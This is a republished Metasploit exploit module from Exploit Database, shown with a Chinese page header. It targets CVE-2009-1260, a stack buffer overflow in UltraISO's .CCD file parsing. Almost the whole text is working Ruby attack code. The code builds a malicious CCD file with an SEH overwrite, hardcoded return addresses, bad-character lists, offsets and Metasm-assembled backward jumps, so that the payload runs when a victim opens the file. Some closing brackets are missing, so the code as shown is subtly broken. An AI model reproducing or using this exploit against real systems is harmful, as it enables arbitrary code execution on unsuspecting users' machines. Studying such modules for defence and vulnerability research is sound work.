UltraISO – ‘.CCD’ File Parsing Buffer Overflow (Metasploit)

Exploit Database
141 阅读

作者： Metasploit

日期： 2010-04-30
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/16666/

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# $Id: ultraiso_ccd.rb 9179 2010-04-30 08:40:19Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::FILEFORMAT

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'UltraISO CCD File Parsing Buffer Overflow',

'Description'=> %q{

This module exploits a stack-based buffer overflow in EZB Systems, Inc's

UltraISO. When processing .CCD files, data is read from file into a

fixed-size stack buffer. Since no bounds checking is done, a buffer overflow

can occur. Attackers can execute arbitrary code by convincing their victim

to open an CCD file.

NOTE: A file with the same base name, but the extension of "img" must also

exist. Opening either file will trigger the vulnerability, but the files must

both exist.

'License'=> MSF_LICENSE,

'Author' => [ 'jduck' ],

'Version'=> '$Revision: 9179 $',

'References' =>

[

[ 'CVE', '2009-1260' ],

[ 'OSVDB', '53275' ],

[ 'BID', '34363' ],

# NOTE: The following BID is a duplicate of BID 34363

[ 'BID', '38613' ],

# NOTE: The following OSVDB entry seems invalid, the IMG file doesn't appear to trigger any vulnerability.

# [ 'OS-VDB', '53425' ],

[ 'URL', 'http://www.exploit-db.com/exploits/8343' ]

'Payload'=>

{

'Space' => 2048,

'BadChars'=> "\x00\x08\x0a\x0d\x20",

'DisableNops' => true,

'Platform' => 'win',

'Targets'=>

[

# Tested OK on:

# v9.3.3.2685

# v9.3.6.2750

# The EXE base addr contains a bad char (nul). This prevents us from

# using the super-elite multi-offset SEH exploitation method.

[ 'Windows Universal - Double-Click/Command Line Open Method',

{

'Offset' => 4094,

# NOTE: lame_enc.dll isn't loaded when opening via double-click / cmd line.

#'Ret' => 0x10011640 # p/p/r in lame_enc.dll

# To make matters even worse, we can't use system dlls due to Safe SEH!

#'Ret' => 0x71b26b7e # p/p/r in mpr.dll

'Ret' => 0x00403856 # p/p/r in unpacked UltraISO.exe (from public exploit)

}

[ 'Windows Universal - File->Open + Toolbar Open Methods',

{

'Offset' => [ 5066, 5158 ],

'Ret' => 0x10011640 # p/p/r in lame_enc.dll

}

'Privileged' => false,

'DisclosureDate' => 'Apr 03 2009',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('FILENAME', [ true, 'The file name.','msf.ccd']),

], self.class)

end

def exploit

print_status("Creating '#{datastore['FILENAME']}' using target '#{target.name}' ...")

sploit = "[CloneCD]\r\n"

sploit << "Version=3\r\n"

sploit << "[Disc]\r\n"

sploit << "TocEntries=4\r\n"

sploit << "Sessions=1\r\n"

sploit << "DataTracksScrambled=0\r\n"

sploit << "CDTextLength=0\r\n"

sploit << "[Session 1]\r\n"

sploit << "PreGapMode=1\r\n"

sploit << "PreGapSubC=0\r\n"

sploit << "[Entry 0]\r\n"

sploit << "Session=1\r\n"

sploit << "Point=0xa0\r\n"

sploit << "ADR=0x01\r\n"

sploit << "Control=0x04\r\n"

sploit << "TrackNo=0\r\n"

sploit << "AMin=0\r\n"

sploit << "ASec=0\r\n"

sploit << "AFrame=0\r\n"

sploit << "ALBA=-150\r\n"

sploit << "Zero=0\r\n"

sploit << "PMin=1\r\n"

sploit << "PSec=0\r\n"

sploit << "PFrame=0\r\n"

sploit << "PLBA=4350\r\n"

sploit << "[Entry 1]\r\n"

sploit << "Session=1\r\n"

sploit << "Point=0xa1\r\n"

sploit << "ADR=0x01\r\n"

sploit << "Control=0x04\r\n"

sploit << "TrackNo=0\r\n"

sploit << "AMin=0\r\n"

sploit << "ASec=0\r\n"

sploit << "AFrame=0\r\n"

sploit << "ALBA=-150\r\n"

sploit << "Zero=0\r\n"

sploit << "PMin=1\r\n"

sploit << "PSec=0\r\n"

sploit << "PFrame=0\r\n"

sploit << "PLBA=4350\r\n"

sploit << "[Entry 2]\r\n"

sploit << "Session=1\r\n"

sploit << "Point=0xa2\r\n"

sploit << "ADR=0x01\r\n"

sploit << "Control=0x04\r\n"

sploit << "TrackNo=0\r\n"

sploit << "AMin=0\r\n"

sploit << "ASec=0\r\n"

sploit << "AFrame=0\r\n"

sploit << "ALBA=-150\r\n"

sploit << "Zero=0\r\n"

sploit << "PMin=0\r\n"

sploit << "PSec=2\r\n"

sploit << "PFrame=34\r\n"

sploit << "PLBA=34\r\n"

sploit << "[Entry 3]\r\n"

sploit << "Session=1\r\n"

sploit << "Point=0x01\r\n"

sploit << "ADR=0x01\r\n"

sploit << "Control=0x04\r\n"

sploit << "TrackNo=0\r\n"

sploit << "AMin=0\r\n"

sploit << "ASec=0\r\n"

sploit << "AFrame=0\r\n"

sploit << "ALBA=-150\r\n"

sploit << "Zero=0\r\n"

sploit << "PMin=0\r\n"

sploit << "PSec=2\r\n"

sploit << "PFrame=0\r\n"

sploit << "PLBA=0\r\n"

sploit << "[TRACK 1]\r\n"

sploit << "MODE=1\r\n"

sploit << "INDEX 1="

idx_line = ''

idx_line << rand_text_alphanumeric(1000) * 9

# Stick the payload at the beginning

idx_line[0,payload.encoded.length] = payload.encoded

# If we have an array of offets, handle it specially

seh_offset = target['Offset']

if (seh_offset.is_a?(::Array))

# Multiple offets that can be used simultaneously

seh_offset.each { |off|

seh = generate_seh_record(target.ret)

distance = off + seh.length

jmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

idx_line[off, seh.length] = seh

idx_line[off+seh.length, jmp.length] = jmp

}

else

off = seh_offset

# We'll manually construct this double-backward jumping SEH handler frame

distance = off - 5

jmp1 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

distance = jmp1.length

jmp2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

seh = ''

seh << jmp2

seh << rand_text(2)

seh << [target.ret].pack('V')

# we can't put anything below the return address due to a potential nul byte in it

# Add the double-back-jumping SEH frame

idx_line[off-5, jmp1.length] = jmp1

idx_line[off,seh.length] = seh

end

sploit << idx_line

file_create(sploit)

# create the empty IMG file

imgfn = datastore['FILENAME'].dup

imgfn.gsub!(/\.ccd$/, '.img')

out = File.expand_path(File.join(datastore['OUTPUTPATH'], imgfn))

File.new(out,"wb").close

print_status("Created empty output file #{out}")

end